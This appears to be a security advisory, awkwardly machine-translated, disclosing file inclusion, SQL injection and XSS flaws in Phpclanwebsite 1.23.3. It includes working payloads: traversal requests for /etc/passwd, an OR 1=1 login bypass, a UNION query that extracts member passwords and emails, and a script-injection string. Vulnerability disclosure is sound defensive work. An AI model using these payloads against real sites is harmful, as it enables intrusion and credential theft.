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Phpclanwebsite <= 1.23.3 Fix Pack #5 Multiple Remote Vulnerabilities
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Phpclanwebsite <= 1.23.3 Fix Pack #5 Multiple Remote Vulnerabilities
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Phpclanwebsite <= 1.23.3 Fix Pack #5 (File Including/SQL/XSS) Multiple Remote Vulnerabilities
The description:
The set vulnerability in CMS Phpclanwebsite versions 1.23.3 Fix Pack #5 and more low was revealed.
1. Multiple File Including Vulnerabilities
Vulnerability exists for the reason that direct access to some files, around logicians of work of the appendix is possible.
It gives the chance to redefine internal variables which are transferred as arguments in function include ().
Examples of vulnerable files:
/theme/superchrome/box.php?boxname=../../../../../etc/passwd%00
/phpclanwebsite/footer.php?theme=../../../../../etc/passwd%00
etc
The note:
For vulnerability operation the following options PHP are required: register_globals=On and magic_quotes_gpc=Off
2. Multiple SQL Injection Vulnerabilities
The appendix everywhere does not check the variables transferred from outside of the user. It allows to carry out any SQL Injection.
Examples of vulnerable files:
SQL Injection (insert) -
/index.php?page='SQL
SQL Injection (delete) -
/index.php?page=processforms&ok=1&SP=1&form_id=2
, where "form_id" the identifier of the deleted user
SQL Injection (select) -
/index.php?page=login
POST:pcwlogin='SQL&pcw_pass='SQL
/index.php?page=login
POST:pcwlogin=1'+OR+1=1--&pcw_pass=1
SQL Injection (select) -
/index.php?page=downloads&func=search
POST:searchvalue='SQL&whichfield=SQL
/index.php?page=downloads&func=search
POST:searchvalue=1&whichfield=dl_name>1)+limit+0+union+select+tag,2,3,login,5,6,7,email,9,password,11,12,13,14,15+from+cws_members--
etc
The note:
For operation of all SQL Injection vulnerabilities, except vulnerability in parametre "whichfield", are required disconnected magic_quotes_gpc.
3. Multiple Cross-site Scripting Vulnerabilities
The appendix everywhere does not check the variables transferred from outside of the user. It allows to carry out any code in a context of a user browser.
Examples of vulnerable files:
/index.php?page='><script>alert('XSS')</script>
etc
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